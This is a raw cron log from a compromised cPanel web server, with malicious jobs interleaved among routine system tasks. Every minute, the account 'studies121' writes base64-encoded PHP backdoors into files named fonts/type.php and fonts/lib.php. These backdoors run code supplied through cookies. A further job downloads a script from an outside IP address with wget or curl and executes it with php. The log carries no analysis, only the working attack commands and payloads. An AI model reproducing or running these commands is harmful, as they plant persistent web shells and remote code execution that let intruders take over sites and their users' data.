Sep 12 08:07:01 ip-184-168-122-23 CROND[23993]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:07:01 ip-184-168-122-23 CROND[23994]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:07:01 ip-184-168-122-23 CROND[23992]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:08:01 ip-184-168-122-23 CROND[24084]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:08:01 ip-184-168-122-23 CROND[24086]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:08:01 ip-184-168-122-23 CROND[24087]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:08:01 ip-184-168-122-23 CROND[24088]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 08:08:01 ip-184-168-122-23 CROND[24085]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:09:02 ip-184-168-122-23 CROND[24270]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:09:02 ip-184-168-122-23 CROND[24271]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 08:09:02 ip-184-168-122-23 CROND[24273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:09:02 ip-184-168-122-23 CROND[24274]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:09:02 ip-184-168-122-23 CROND[24275]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:10:01 ip-184-168-122-23 CROND[24407]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:10:01 ip-184-168-122-23 CROND[24409]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 08:10:01 ip-184-168-122-23 CROND[24415]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 08:10:01 ip-184-168-122-23 CROND[24416]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 08:10:01 ip-184-168-122-23 CROND[24414]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 08:10:02 ip-184-168-122-23 CROND[24419]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:10:02 ip-184-168-122-23 CROND[24420]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:10:02 ip-184-168-122-23 CROND[24422]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:11:01 ip-184-168-122-23 CROND[24512]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:11:01 ip-184-168-122-23 CROND[24514]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:11:01 ip-184-168-122-23 CROND[24516]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:11:01 ip-184-168-122-23 CROND[24515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:12:01 ip-184-168-122-23 CROND[24595]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:12:01 ip-184-168-122-23 CROND[24596]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:12:01 ip-184-168-122-23 CROND[24597]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 08:12:01 ip-184-168-122-23 CROND[24600]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:12:01 ip-184-168-122-23 CROND[24602]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:13:01 ip-184-168-122-23 CROND[24702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:13:01 ip-184-168-122-23 CROND[24704]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:13:01 ip-184-168-122-23 CROND[24706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:13:01 ip-184-168-122-23 CROND[24705]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:14:01 ip-184-168-122-23 CROND[24878]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:14:01 ip-184-168-122-23 CROND[24880]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 08:14:01 ip-184-168-122-23 CROND[24881]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:14:01 ip-184-168-122-23 CROND[24882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:14:01 ip-184-168-122-23 CROND[24883]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:15:01 ip-184-168-122-23 CROND[24985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:15:01 ip-184-168-122-23 CROND[24986]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 12 08:15:01 ip-184-168-122-23 CROND[24988]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 08:15:01 ip-184-168-122-23 CROND[24991]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:15:01 ip-184-168-122-23 CROND[24987]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:15:01 ip-184-168-122-23 CROND[24992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:15:01 ip-184-168-122-23 CROND[24990]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 08:16:01 ip-184-168-122-23 CROND[25081]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:16:01 ip-184-168-122-23 CROND[25084]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:16:01 ip-184-168-122-23 CROND[25085]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 08:16:01 ip-184-168-122-23 CROND[25087]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 08:16:01 ip-184-168-122-23 CROND[25086]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:16:01 ip-184-168-122-23 CROND[25083]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:17:01 ip-184-168-122-23 CROND[25172]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:17:01 ip-184-168-122-23 CROND[25174]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:17:01 ip-184-168-122-23 CROND[25176]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:17:01 ip-184-168-122-23 CROND[25175]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:18:01 ip-184-168-122-23 CROND[25254]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:18:01 ip-184-168-122-23 CROND[25255]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:18:01 ip-184-168-122-23 CROND[25256]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 08:18:01 ip-184-168-122-23 CROND[25257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:18:01 ip-184-168-122-23 CROND[25258]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:19:01 ip-184-168-122-23 CROND[25343]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
